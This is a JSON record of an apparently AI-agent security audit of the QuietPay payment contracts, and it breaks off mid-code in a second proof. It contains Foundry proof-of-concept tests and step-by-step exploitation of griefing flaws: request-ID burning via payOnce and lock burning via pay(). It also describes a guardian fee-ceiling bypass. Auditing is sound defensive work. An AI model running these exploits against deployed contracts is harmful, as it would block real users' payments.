{"assessments":[],"deployments":[],"fuzz":[],"identity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"interpretation":"Records acceptance and evidence. Neither completion nor an AI assessment establishes correctness, safety, or independent review.","jobId":"b3859010-b6e0-480f-a7fc-9cd17e85e69a","kind":"audit","nodes":[{"acceptedSubmissionHash":"bd41a7fff1c365e2dd4bacdc8341a9b4343e07bc02b64e41f889a05a0399f341","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_economics","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"7ac0754438f24e69b884846b1ac68f1ff3fbeff1f534a91c4d6db04c5a433639","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_flow","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"66d0e75929843b29b2b90ba4958034248c0dcaf53f807d8d9296243f5b74af30","dependsOn":["audit_math","audit_permissions","audit_economics","audit_flow"],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","subagents":4,"tools":[]},"key":"audit_judge","kind":"code","role":"review","skillHash":"b89279670f5a00f5d26286edee00c97dd158b997031350a01cafe6e0329ad227","skillId":"audit-judge","state":"accepted"},{"acceptedSubmissionHash":"9af3e4a05635453e2d8ebb07a4d60242e9707fb300eb7cfc5d1d8975f58f5855","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_math","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"},{"acceptedSubmissionHash":"2cd6272c829f3e33d86e6782ab50fdfdfb9526edee8e538227d38ff82246b227","dependsOn":[],"execution":{"network":false,"profile":"foundry","requires":[],"skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","subagents":3,"tools":[]},"key":"audit_permissions","kind":"code","role":"review","skillHash":"bc5bfc8455464381f2db18badb2b55cf8bec1e535c019349a0378fa990741171","skillId":"audit-specialist","state":"accepted"}],"objective":"Conduct a deep security audit of the current QuietPay repository. Focus on these specific areas:\n\n1. Payment contracts: QuietPayRouter.sol, QuietPayRouterV2.sol, payment authorization, recipient binding, partial payments, replay attacks, front-running and destination validation.\n2. Payment links: Request IDs, fixed and open amounts, expiry, revocation, duplicate payments, unauthorized consumption and payment redirection.\n3. Router security: V1 fallback, router version validation, contract code hashes, token validation and metadata integrity.\n4. Stealth cryptography: Private/public key derivation, ephemeral key reuse, shared secrets, signature verification, invalid curve points and address generation.\n5. Private-key security: Browser encryption, key generation, passkeys, backup, recovery, local storage, XSS and accidental key exposure.\n6. Shielded pool: 0xbow integration, Merkle proofs, nullifiers, root updates, approval churn, stale proofs, double withdrawals and ragequit.\n7. Relayer: Gas sponsorship, ETH exhaustion, faucet-token abuse, price manipulation, rate-limit bypass, concurrent requests and spending limits.\n8. Entrypoint governance: Ownership, multisig configuration, timelocks, vetting fees, UUPS upgrades, initialization and unauthorized configuration changes.\n9. Token handling: ERC-20 return values, malicious tokens, fee-on-transfer tokens, decimals, balance accounting, reentrancy and trapped funds.\n10. Backend APIs: Authentication, authorization, IDOR, input validation, rate limiting, injection, information disclosure and denial of service.\n11. Frontend transaction security: Wallet signatures, chain validation, transaction simulation, recipient/amount manipulation, stale state and incorrect payment confirmations.\n12. Deployment security: Environment variables, deployment scripts, proxy initialization, admin permissions, CI/CD and production configuration.\n13. Privacy: Address linkability, transaction correlation, metadata leakage, timing analysis, event exposure and unintended disclosure of user activity.\n14. Cross-system vulnerabilities: Race conditions, inconsistent contract/frontend state, cross-chain replay, incorrect assumptions between services and integration failures.\n\nTesting requirements:\n\n* Reproduce all seven findings from the previous audit.\n* Verify each remediation independently.\n* Perform Foundry tests, fuzzing, invariant testing and adversarial simulations.\n* Write reproducible proof-of-concept tests for every suspected vulnerability.\n* Identify new vulnerabilities introduced by previous fixes.\n* Check whether funds can be stolen, trapped or made inaccessible.\n\nProvide exact file references, vulnerable functions, severity, exploitation steps, impact and recommended fixes.\n\nClassify every previous finding as fixed, partially fixed or unresolved. Report all new findings and residual risks.\n\nDo not assume fixes work without testing. Do not deploy or broadcast transactions.","parentJobId":null,"planHash":"65faba67ea40f6f3d40d408f538283cb090ba4a8e402ba8c4125fb527e695670","previousHash":"0000000000000000000000000000000000000000000000000000000000000000","projectId":"b3859010-b6e0-480f-a7fc-9cd17e85e69a","publication":{"commit":null,"deliveredAt":null,"repoUrl":null},"receiptIdentity":{"adapter":"0xde152afb7db5373f34876e1499fbd893a82dd336","chainId":1,"collection":"0x0000ec93127baa929e58e97dd0095a2bfb38ec1d","registry":"0x8004a169fb4a3325136eb29fa0ceb6d2e539a432"},"registry":"0xb6d0a187b050fa5bb0b87033a203f37becf4a775","research":[],"schema":"identitymd-work-v1","signals":[{"agentId":"52618","feedbackHash":"91e43af3d167733cad409ba9d69b595461c1f068fe86fca50f7cd3871db41571","nodeKey":"audit_economics","submissionHash":"bd41a7fff1c365e2dd4bacdc8341a9b4343e07bc02b64e41f889a05a0399f341","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51026","feedbackHash":"9604745e89658227ee774cc6819849541aa94bf71d71045008aec274d8b75437","nodeKey":"audit_flow","submissionHash":"7ac0754438f24e69b884846b1ac68f1ff3fbeff1f534a91c4d6db04c5a433639","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52686","feedbackHash":"9d39f96986706365d848abb130c104907973c6c3de8eed39a08a8b23ad7c18e7","nodeKey":"audit_judge","submissionHash":"66d0e75929843b29b2b90ba4958034248c0dcaf53f807d8d9296243f5b74af30","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"51879","feedbackHash":"379ccc5e056dc0b0817bc059a5f9b7150012485cd0656858d24abe51cefb2da6","nodeKey":"audit_math","submissionHash":"9af3e4a05635453e2d8ebb07a4d60242e9707fb300eb7cfc5d1d8975f58f5855","tag1":"review:submission","tag2":"acceptance-v2","value":1},{"agentId":"52621","feedbackHash":"08e64d6a74d35190f34f6715370d89a3e2f6339cd38fda67c2e16a353df1336b","nodeKey":"audit_permissions","submissionHash":"2cd6272c829f3e33d86e6782ab50fdfdfb9526edee8e538227d38ff82246b227","tag1":"review:submission","tag2":"acceptance-v2","value":1}],"site":null,"snapshotHash":"12737d821eb3cf87dcb7e3a3b4273e3a4a1c11356b170c60735410f43bdb41a2","state":"completed","submissions":[{"artifacts":[],"attempt":1,"bundleHash":null,"device":"bfeaa965edf57623","findings":[{"citation":"resolved","description":"payOnce marks paidOnce[requestId] after checking only that the metadata repeats the caller's own requestId, amount and token. Nothing ties the request ID to the recipient: stealthAddress is any non-zero address the caller picks, and the amount is whatever the caller puts in the metadata. The ID is public. It is in the shared link (src/lib/link.ts bytes 47..62) and in the calldata of any pending payOnce. So a third party can burn it at the cost of 1 base unit, paid to themselves. After that, every honest payOnce for that link reverts AlreadyPaid. The payer UI (src/lib/payer.ts:290-300) also reads paidOnce and tells the payer 'This link was already paid', so the recipient is never paid. The same thing works against findExistingPayments: an attacker who pays the full amount to their own stealth address gets the tokens straight back, so it costs them only gas. QuietPayRouterV2.sol:97-98 has the same defect. The pool path (QuietPayPoolRouterV2.payRequest) fixed this by having a key only the recipient holds sign the request; the stealth router has no such binding.","line":102,"path":"contracts/src/QuietPayRouterV3.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\nimport \"forge-std/Test.sol\";\nimport {QuietPayRouterV3} from \"contracts/src/QuietPayRouterV3.sol\";\nimport {ERC5564Announcer} from \"contracts/src/ERC5564Announcer.sol\";\n\ncontract SimpleToken {\n  mapping(address => uint256) public balanceOf;\n  mapping(address => mapping(address => uint256)) public allowance;\n\n  function mint(address to, uint256 a) external {\n    balanceOf[to] += a;\n  }\n\n  function approve(address s, uint256 a) external returns (bool) {\n    allowance[msg.sender][s] = a;\n    return true;\n  }\n\n  function transferFrom(address f, address t, uint256 a) external returns (bool) {\n    allowance[f][msg.sender] -= a;\n    balanceOf[f] -= a;\n    balanceOf[t] += a;\n    return true;\n  }\n}\n\n/// A one-time (fixed) link's request ID is not bound to the recipient's stealth meta-address, so\n/// anyone who knows the ID (it is in the shared link and in any pending payOnce calldata) can\n/// burn it by paying themselves. The real payer is then refused forever.\ncontract RouterV3RequestHijackTest is Test {\n  QuietPayRouterV3 router;\n  SimpleToken token;\n  address payer = address(0xA11CE);\n  address attacker = address(0xBAD);\n  address recipientStealth = address(0x5EA1);\n  address attackerStealth = address(0xBAD2);\n  bytes16 constant REQ = bytes16(0x11111111111111111111111111111111);\n\n  function setUp() public {\n    token = new SimpleToken();\n    ERC5564Announcer ann = new ERC5564Announcer();\n    router = new QuietPayRouterV3(address(token), address(ann));\n    token.mint(payer, 100e6);\n    token.mint(attacker, 1);\n  }\n\n  function _meta(uint256 amount) internal view returns (bytes memory) {\n    return abi.encodePacked(bytes1(0x42), bytes4(0xa9059cbb), address(token), amount, bytes3(0x515001), REQ);\n  }\n\n  function _key() internal pure returns (bytes memory k) {\n    k = new bytes(33);\n    k[0] = 0x02;\n  }\n\n  function test_attackerBurnsFixedLinkRequestId() public {\n    // Attacker front-runs (or just reads the link) and pays 1 base unit to an address they own.\n    vm.startPrank(attacker);\n    token.approve(address(router), 1);\n    router.payOnce(REQ, attackerStealth, 1, _key(), _meta(1));\n    vm.stopPrank();\n    assertEq(token.balanceOf(attackerStealth), 1, \"attacker paid themselves\");\n\n    // The legitimate payer now tries to pay the recipient the full amount.\n    vm.startPrank(payer);\n    token.approve(address(router), 100e6);\n    (bool ok,) = address(router).call(\n      abi.encodeCall(QuietPayRouterV3.payOnce, (REQ, recipientStealth, 100e6, _key(), _meta(100e6)))\n    );\n    vm.stopPrank();\n\n    // Expected: the real payment goes through, because the attacker's call did not pay the recipient.\n    assertTrue(ok, \"legitimate payment to the link was refused: request ID consumed by a third party\");\n    assertEq(token.balanceOf(recipientStealth), 100e6);\n  }\n}","reproduction":"Deploy QuietPayRouterV3(token, announcer). Request ID R=0x1111..11. The attacker calls payOnce(R, attackerStealth, 1, 0x02||00*32, 0x42||a9059cbb||token||uint256(1)||515001||R), which succeeds. The payer then calls payOnce(R, recipientStealth, 100e6, key, metadata for 100e6). Expected: the payment succeeds and the recipient receives 100e6. Actual: it reverts AlreadyPaid(R) and the recipient receives 0. The link can never be paid. Fix: bind the request to the recipient, for example by making the recipient sign (requestId, amount, expiry, chainId, router) with a per-link key and verifying it the way QuietPayPoolRouterV2.payRequest does, or by deriving requestId from the recipient's stealth meta-address. Do not mark the ID paid when the destination is not provably the recipient's.","severity":"medium","snippet":"    if (bytes3(metadata[57:60]) != QP_MAGIC || bytes16(metadata[60:76]) != requestId) revert BadMetadata();\n    paidOnce[requestId] = true;","title":"QuietPayRouterV3/V2 payOnce: any caller can consume a fixed link's request ID by paying an address of their own, permanently blocking the real payment"},{"citation":"resolved","description":"payRequest is designed so that 'an underfunded or redirected payment can never use [a request] up'. requestPaid is protected, but the lock is not. pay() and Entrypoint.deposit accept any precommitment with no signature, and the Entrypoint rejects a reused precommitment for good (Entrypoint.sol:324 usedPrecommitments). The lock's precommitment is public: it is in the link, and in the calldata of any pending payRequest. The 3 spares (request-sig.ts SPARES_UPLOADED = 3) are given to any caller by GET /api/locks?key=<requestKey> (src/app/api/locks/route.ts:54, lock-service.ts takeLock). requestKey is recoverable from the link's own signatures. So a third party can burn the link lock and every spare with 4 deposits of the minimum amount (1 tUSDG on testnet, scripts/deploy-testnet.ts:151; the token comes free from the faucet). They can set the refund to their own address, so if the deposit is never approved the recipient's ragequit pays it back to them. After that, payRequest always reverts PrecommitmentAlreadyUsed, and PoolPayPanel.tsx:108 tells the payer 'no spare is available. Ask the recipient for a new link'. The attack can also be done as a front-run of a payer's pending payRequest, once per lock. requestPaid is never set, but the request can never be paid.","line":142,"path":"contracts/src/QuietPayPoolRouterV2.sol","reproduction":"State: a signed request with lock L0 plus spares L1..L3 uploaded for requestKey K. For each i in 0..3, the attacker calls GET /api/locks?key=K to get Li.p, which is a public field of the signed lock. (L0 is in the link.) Then the attacker calls QuietPayPoolRouterV2.pay(Li.p, 1_000_000, attackerAddr) with 1 faucet tUSDG. The payer then calls payRequest(id, amount, exp, termsSig, L0.p, L0.r, L0.sig). Expected: the payment is accepted, because no deposit of the request amount into a signed lock happened. Actual: Entrypoint reverts PrecommitmentAlreadyUsed for L0 and for every spare, and the UI tells the payer the link cannot be paid. Cost: 4 x minimum deposit plus gas. Fix: stop treating the precommitment as a single-use resource that third parties can burn. Options: let payRequest accept a fresh precommitment derived on-chain from the signed lock and the request (for example the recipient signs a commitment to a seed, and the router derives precommitment = H(seed, nonce)). Or restrict direct pay() into precommitments that belong to signed requests. Or rate-limit and authenticate spare-lock retrieval and issue many more spares. At minimum, document that requests can be griefed.","severity":"medium","snippet":"  function pay(uint256 precommitment, uint256 amount, address refund) external nonReentrant returns (uint256 label) {\n    label = _payIn(precommitment, amount, refund);","title":"QuietPayPoolRouterV2: signed pool requests can be made permanently unpayable by burning the link lock and its 3 public spare locks through pay()"},{"citation":"resolved","description":"The contract header (lines 23-24) promises that the vetting fee 'can never exceed MAX_VETTING_FEE_BPS ... whatever the admin proposes'. _checkCall enforces the ceilings only on direct updatePoolConfiguration/registerPool proposals. Three other paths get around them. (1) grantRole is accepted for any role and account, so the admin can propose grantRole(OWNER_ROLE, adminEOA), execute it after the delay, and then call Entrypoint.updatePoolConfiguration(asset, min, 9999, 9999) directly with no delay and no ceiling. (2) upgradeToAndCall only checks that the implementation has code, so any new implementation, or any data passed to it, can rewrite the fees or drain the Entrypoint's fee balance. (3) revokeRole(OWNER_ROLE, guardian) leaves the Entrypoint with no owner: windDown, postman rotation and withdrawFees become impossible for good, and the fees it holds are stuck. Every path waits out the public delay, so this is a privileged-trust gap and not an outside attack. Still, the stated invariant is false. The admin is also not required to be a multisig. Separately, minimumDepositAmount in updatePoolConfiguration has no bound, so uint256.max is accepted, which halts deposits.","line":180,"path":"contracts/src/QuietPayPoolGuardian.sol","reproduction":"Guardian G owns Entrypoint E with delay D. The admin calls G.propose(E, abi.encodeCall(grantRole,(keccak256('OWNER_ROLE'), admin))). It passes _checkCall. After D, anyone calls G.execute(id). The admin then calls E.updatePoolConfiguration(asset, 1e6, 9999, 9999) directly. Expected per the NatSpec: the vetting fee can never exceed 100 bps. Actual: 9999 bps, set immediately and without going through the guardian. Also accepted: G.propose(E, abi.encodeCall(revokeRole,(OWNER_ROLE, G))) and G.propose(E, abi.encodeCall(upgradeToAndCall,(anyContract, data))). Fix, keeping the guardian design: in _checkCall, refuse grantRole(OWNER_ROLE or DEFAULT_ADMIN_ROLE, x) unless x is a new guardian whose ceilings can be checked, and refuse revokeRole(OWNER_ROLE, address(this)) unless another owner already exists. For upgradeToAndCall, require the implementation's codehash to be on an allowlist. Bound minimumDepositAmount too. Or reword the NatSpec so it states that the ceilings hold only while no upgrade or role change is executed.","severity":"low","snippet":"    } else if (sel == IEntrypointAdmin.grantRole.selector || sel == IEntrypointAdmin.revokeRole.selector) {\n      // Roles: owner, default admin and postman. Granting the owner role to anyone else would\n      // bypass this guardian, so it is allowed only through the same delay as everything else.","title":"QuietPayPoolGuardian: the 'hard' fee ceilings are bypassable because grantRole, revokeRole and upgradeToAndCall are proposable with any arguments"}],"hash":"2cd6272c829f3e33d86e6782ab50fdfdfb9526edee8e538227d38ff82246b227","nodeId":"a01316fe-602b-45bc-8832-f23c8671d1d6","outcome":"completed","summary":"I found three permissions defects in this time-boxed review. Much of the brief was not covered. The three findings are in `.imd-findings.json`, and I changed no repository files. Only the first finding has a Foundry test: it fails on the current code for the stated reason. The other two are traced through the code but not reproduced.\n\n**Findings**\n\n1. **Medium: anyone can use up a fixed link's request ID** (`contracts/src/QuietPayRouterV3.sol:102`; the same defect is in `QuietPayRouterV2.sol:97`). `payOnce` marks the request ID as paid, but never checks that the money went to the recipient. The ID is in the shared link and in the calldata of any pending payment.\n   - **Exploit:** an attacker calls `payOnce(R, theirOwnAddress, 1, …)`. After that, the honest payer's `payOnce` reverts `AlreadyPaid`, and the payer screen says \"This link was already paid\".\n   - **No-router path:** the attacker pays the full amount to their own address. It comes straight back, so the attack costs only gas.\n   - **Proof:** `test/scratch/RouterV3RequestHijack.t.sol`.\n   - **Fix:** have a per-link key held only by the recipient sign the request, the way the pool router's `payRequest` does.\n\n2. **Medium: signed pool requests can be made unpayable** (`contracts/src/QuietPayPoolRouterV2.sol:142`). `payRequest` protects the \"paid\" flag, but not the deposit slots it pays into: the link's one plus 3 spares. Each slot can be deposited into only once (`Entrypoint.sol:324`). `pay()` accepts any slot with no signature, and `GET /api/locks?key=<requestKey>` hands the spares to anyone.\n   - **Exploit:** the attacker makes 4 minimum deposits of 1 free testnet token each (tUSDG). The request can then never be paid. This also works by front-running a payer's pending transaction.\n\n3. **Low: the guardian's fee ceilings can be bypassed** (`contracts/src/QuietPayPoolGuardian.sol:180`). The contract comments promise the ceilings hold \"whatever the admin proposes\". But `grantRole` (any role, any account), `revokeRole` and `upgradeToAndCall` (any contract) are accepted as proposals.\n   - **Exploit:** after the delay, the admin grants itself the Entrypoint's owner role. It can then set a 99.99% fee with no delay at all.\n   - **Also possible:** the guardian revokes its own owner role, which strands the collected fees for good. `minimumDepositAmount` has no upper bound either.\n   - Every path waits out the public delay, so this is a trust gap rather than an outside attack.\n\n**Checked, no defect found:**\n- Pool router V2: signature replay and malleability, request binding to chain and router, refund-address checks, and label checks in `transfer` and `ragequit`.\n- Guardian: who may call what, the delay, and expiry. The deploy handover does remove the deployer's owner role.\n- The monitor route's token check.\n- Gas-drop limits.\n\n**Not covered:**\n- The previous audit's seven findings were not reproduced or classified as fixed, partially fixed or unresolved.\n- No fuzzing or invariant tests.\n- Not reviewed in depth: stealth cryptography, browser key storage, the relayer's price logic, privacy and timing, and CI/CD.\n\n**Test setup:** the repo has no `foundry.toml` and no forge-std. I cloned forge-std into `/tmp/deps` and ran the test with `--remappings forge-std/=/tmp/deps/forge-std/src/`. Anyone re-running it needs a similar mapping.\n\n**Possible lead, not reported:** rate-limit IDs come from the leftmost `X-Forwarded-For` header. That is spoofable unless the host overwrites the header (Vercel does).","treeHash":null,"usage":{"cachedInputTokens":2188250,"cost":{"source":"runtime","usdMicros":1650049},"inputTokens":57,"model":"claude-opus-5-5","outputTokens":22316,"runtime":"claude","turns":32,"wallClockMs":270069}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"8a05ec1ea94411ea","findings":[{"citation":"resolved","description":"payOnce sets paidOnce[requestId] after checking only that the caller's own metadata repeats the caller's own requestId, amount and token (lines 98-103). Nothing binds the request ID to the recipient: stealthAddress is any non-excluded address and amount is any non-zero value the caller writes into the metadata. The request ID is public (it travels in the link, src/lib/link.ts, and in the calldata of any pending payOnce), so a third party, or a mempool front-runner, can consume it for 1 base unit sent to an address they control. Every later honest payOnce reverts AlreadyPaid, and the payer app (src/lib/payer.ts:293) reads paidOnce and reports 'This link was already paid', so the recipient is never paid and cannot reopen the link. contracts/src/QuietPayRouterV2.sol:98 has identical code and V2 is the router configured in .env.production. The remediation commit fixed this only for pool links (QuietPayPoolRouterV2.payRequest requires a signature from a key only the recipient holds); stealth one-time links, the only one-time links where no pool exists, keep the old behaviour. SECURITY.md 'Remaining limits' says the griefer must pay the link's full amount; the code requires only 1 unit paid to themselves, so the attack costs gas only. Classification of the previous one-time-consumption finding: partially fixed. Merged from three specialist reports (audit_flow, audit_permissions, audit_economics). Fix: bind the request to the recipient the way payRequest does, e.g. the recipient's per-request key signs (chainId, router, token, requestId, amount, expiry) and payOnce verifies the signature and that amount equals the signed amount before setting paidOnce; or do not mark the ID paid unless the destination is provably the recipient's. Until then present paidOnce in the UI as 'used', not 'paid'.","line":103,"path":"contracts/src/QuietPayRouterV3.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\nimport \"forge-std/Test.sol\";\nimport {QuietPayRouterV3} from \"contracts/src/QuietPayRouterV3.sol\";\nimport {ERC5564Announcer} from \"contracts/src/ERC5564Announcer.sol\";\n\ncontract SimpleToken {\n  mapping(address => uint256) public balanceOf;\n  mapping(address => mapping(address => uint256)) public allowance;\n\n  function mint(address to, uint256 a) external {\n    balanceOf[to] += a;\n  }\n\n  function approve(address s, uint256 a) external returns (bool) {\n    allowance[msg.sender][s] = a;\n    return true;\n  }\n\n  function transferFrom(address f, address t, uint256 a) external returns (bool) {\n    allowance[f][msg.sender] -= a;\n    balanceOf[f] -= a;\n    balanceOf[t] += a;\n    return true;\n  }\n}\n\n/// A one-time (fixed) link's request ID is not bound to the recipient's stealth meta-address, so\n/// anyone who knows the ID (it is in the shared link and in any pending payOnce calldata) can\n/// burn it by paying themselves. The real payer is then refused forever.\ncontract RouterV3RequestHijackTest is Test {\n  QuietPayRouterV3 router;\n  SimpleToken token;\n  address payer = address(0xA11CE);\n  address attacker = address(0xBAD);\n  address recipientStealth = address(0x5EA1);\n  address attackerStealth = address(0xBAD2);\n  bytes16 constant REQ = bytes16(0x11111111111111111111111111111111);\n\n  function setUp() public {\n    token = new SimpleToken();\n    ERC5564Announcer ann = new ERC5564Announcer();\n    router = new QuietPayRouterV3(address(token), address(ann));\n    token.mint(payer, 100e6);\n    token.mint(attacker, 1);\n  }\n\n  function _meta(uint256 amount) internal view returns (bytes memory) {\n    return abi.encodePacked(bytes1(0x42), bytes4(0xa9059cbb), address(token), amount, bytes3(0x515001), REQ);\n  }\n\n  function _key() internal pure returns (bytes memory k) {\n    k = new bytes(33);\n    k[0] = 0x02;\n  }\n\n  function test_attackerBurnsFixedLinkRequestId() public {\n    // Attacker front-runs (or just reads the link) and pays 1 base unit to an address they own.\n    vm.startPrank(attacker);\n    token.approve(address(router), 1);\n    router.payOnce(REQ, attackerStealth, 1, _key(), _meta(1));\n    vm.stopPrank();\n    assertEq(token.balanceOf(attackerStealth), 1, \"attacker paid themselves\");\n\n    // The legitimate payer now tries to pay the recipient the full amount.\n    vm.startPrank(payer);\n    token.approve(address(router), 100e6);\n    (bool ok,) = address(router).call(\n      abi.encodeCall(QuietPayRouterV3.payOnce, (REQ, recipientStealth, 100e6, _key(), _meta(100e6)))\n    );\n    vm.stopPrank();\n\n    // Expected: the real payment goes through, because the attacker's call did not pay the recipient.\n    assertTrue(ok, \"legitimate payment to the link was refused: request ID consumed by a third party\");\n    assertEq(token.balanceOf(recipientStealth), 100e6);\n  }\n}","reproduction":"Deploy QuietPayRouterV3(token, announcer). Attacker holding 1 base unit approves the router and calls payOnce(R=0x1111..11, attackerStealth, 1, 0x02||00*32, 0x42||a9059cbb||token||uint256(1)||515001||R). Expected: the request stays payable by the real payer (the attacker did not pay the recipient). Actual: the call succeeds, paidOnce[R] == true, and the payer's payOnce(R, recipientStealth, 100e6, key, metadata for 100e6) reverts AlreadyPaid(R); recipientStealth balance stays 0. Reproduced with test/scratch/PayOnceBurn.t.sol (the audit_permissions proof): it fails on the current code with 'legitimate payment to the link was refused: request ID consumed by a third party'.","severity":"medium","snippet":"    paidOnce[requestId] = true;","title":"QuietPayRouterV3/V2 payOnce: anyone can burn a one-time link's request ID with a 1-base-unit payment to their own address, permanently blocking the real payment (previous one-time-consumption finding "},{"citation":"resolved","description":"payRequest only accepts locks signed by the request key, but pay() (and Entrypoint.deposit directly) accepts any precommitment from anyone for any amount at or above the pool minimum, and the Entrypoint marks a precommitment used for good (contracts/vendor/privacy-pools/src/contracts/Entrypoint.sol:324-326, usedPrecommitments). A request has a bounded set of signed locks: the one in the link plus SPARES_UPLOADED = 3 spares (src/lib/pool/request-sig.ts), and GET /api/locks?key=<requestKey> (src/app/api/locks/route.ts:54, src/lib/pool/lock-service.ts takeLock) hands a spare to anyone who presents the request key, which is recoverable from the link's own signatures. A link holder therefore burns the lock and every spare with four minimum deposits (1 tUSDG each on testnet, scripts/deploy-testnet.ts:151, free from the faucet), optionally naming their own refund address. requestPaid stays false, yet every payRequest reverts PrecommitmentAlreadyUsed and PoolPayPanel.tsx:108 tells the payer the link cannot be paid. The same can be done as a front-run of a pending payRequest, once per lock. SECURITY.md and docs/shielded-pool.md:191 present the spares as making the link 'still work'; they only raise the cost from one minimum deposit to four. The burned deposits land with the recipient, so this is griefing, not theft. Merged from three specialist reports. Fix options that keep the design: derive the deposited precommitment on-chain from a signed seed plus requestId so plain pay() cannot hit it; or let the recipient's device top up spares on demand with unbounded spare indexes and rate-limit /api/locks takes per request key; and document the mainnet cost as k x minimumDepositAmount.","line":142,"path":"contracts/src/QuietPayPoolRouterV2.sol","proof":"// SPDX-License-Identifier: MIT\npragma solidity 0.8.23;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {QuietPayPoolRouterV2} from \"contracts/src/QuietPayPoolRouterV2.sol\";\n\ncontract MockToken {\n    mapping(address => uint256) public balanceOf;\n    mapping(address => mapping(address => uint256)) public allowance;\n    function mint(address to, uint256 a) external { balanceOf[to] += a; }\n    function approve(address s, uint256 a) external returns (bool) { allowance[msg.sender][s] = a; return true; }\n    function transferFrom(address f, address t, uint256 a) external returns (bool) {\n        require(allowance[f][msg.sender] >= a, \"allowance\");\n        allowance[f][msg.sender] -= a;\n        balanceOf[f] -= a; balanceOf[t] += a; return true;\n    }\n    function transfer(address t, uint256 a) external returns (bool) { balanceOf[msg.sender] -= a; balanceOf[t] += a; return true; }\n}\n\ncontract MockPool {\n    address public entrypoint;\n    address public asset;\n    uint256 public scope = 1;\n    uint256 public nonce;\n    mapping(uint256 => address) public depositors;\n    constructor(address ep, address a) { entrypoint = ep; asset = a; }\n    function ENTRYPOINT() external view returns (address) { return entrypoint; }\n    function ASSET() external view returns (address) { return asset; }\n    function SCOPE() external view returns (uint256) { return scope; }\n    function setDepositor(uint256 label, address d) external { depositors[label] = d; }\n    function bumpNonce() external returns (uint256) {\n        nonce += 1;\n        return uint256(keccak256(abi.encodePacked(scope, nonce))) % 21888242871839275222246405745257275088548364400416034343698204186575808495617;\n    }\n}\n\n/// Mirrors 0xbow Entrypoint._handleDeposit: a precommitment can be used once, for good, and a\n/// deposit must be at least minimumDepositAmount (1 tUSDG on the testnet deployment).\ncontract MockEntrypoint {\n    error PrecommitmentAlreadyUsed();\n    error MinimumDepositAmount();\n    MockToken public token;\n    MockPool public pool;\n    uint256 public minimumDepositAmount = 1_000_000;\n    mapping(uint256 => bool) public usedPrecommitments;\n    constructor(MockToken t) { token = t; }\n    function setPool(MockPool p) external { pool = p; }\n    function deposit(address, uint256 value, uint256 precommitment) external returns (uint256 commitment) {\n        if (usedPrecommitments[precommitment]) revert PrecommitmentAlreadyUsed();\n        usedPrecommitments[precommitment] = true;\n        if (value < minimumDepositAmount) revert MinimumDepositAmount();\n        token.transferFrom(msg.sender, address(this), value);\n        uint256 label = pool.bumpNonce();\n        pool.setDepositor(label, msg.sender);\n        commitment = uint256(keccak256(abi.encodePacked(value, label, precommitment)));\n    }\n}\n\n/// A signed one-time request has a bounded set of locks: the one in the link plus the three\n/// spares the recipient uploads (src/lib/pool/request-sig.ts, SPARES_UPLOADED = 3), which\n/// GET /api/locks hands to anyone presenting the request key (which is recoverable from the\n/// link's own signatures). pay() accepts any precommitment from anyone, so a griefer can burn all\n/// four with minimum deposits. Afterwards payRequest can never succeed for this request, although\n/// requestPaid stays false and the request is unexpired and correctly signed.\ncontract LockBurnTest is Test {\n    MockToken token;\n    MockPool pool;\n    MockEntrypoint ep;\n    QuietPayPoolRouterV2 router;\n\n    uint256 constant REQUEST_KEY_PK = 0xA11CE5EED;\n    address payer = address(0xA1);\n    address griefer = address(0xBAD);\n    address refund = address(0xAAA);\n    bytes16 constant ID = 0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa;\n    uint256 constant AMOUNT = 500_000_000; // 500 tUSDG\n\n    function setUp() public {\n        token = new MockToken();\n        ep = new MockEntrypoint(token);\n        pool = new MockPool(address(ep), address(token));\n        ep.setPool(pool);\n        router = new QuietPayPoolRouterV2(address(pool));\n        token.mint(payer, AMOUNT);\n        token.mint(griefer, 4_000_000); // 4 tUSDG from the faucet\n        vm.prank(payer); token.approve(address(router), type(uint256).max);\n        vm.prank(griefer); token.approve(address(router), type(uint256).max);\n    }\n\n    function sign(bytes32 digest) internal pure returns (bytes memory) {\n        bytes32 h = keccak256(abi.encodePacked(\"\\x19Ethereum Signed Message:\\n32\", digest));\n        (uint8 v, bytes32 r, bytes32 s) = vm.sign(REQUEST_KEY_PK, h);\n        return abi.encodePacked(r, s, v);\n    }\n\n    function test_grieferBurnsLinkLockAndAllSpares() public {\n        address key = vm.addr(REQUEST_KEY_PK);\n        uint64 expires = uint64(block.timestamp + 1 days);\n        bytes memory terms = sign(router.requestDigest(ID, AMOUNT, expires));\n        // Link lock 101 and spares 102..104, all signed by the request key.\n        uint256[4] memory locks = 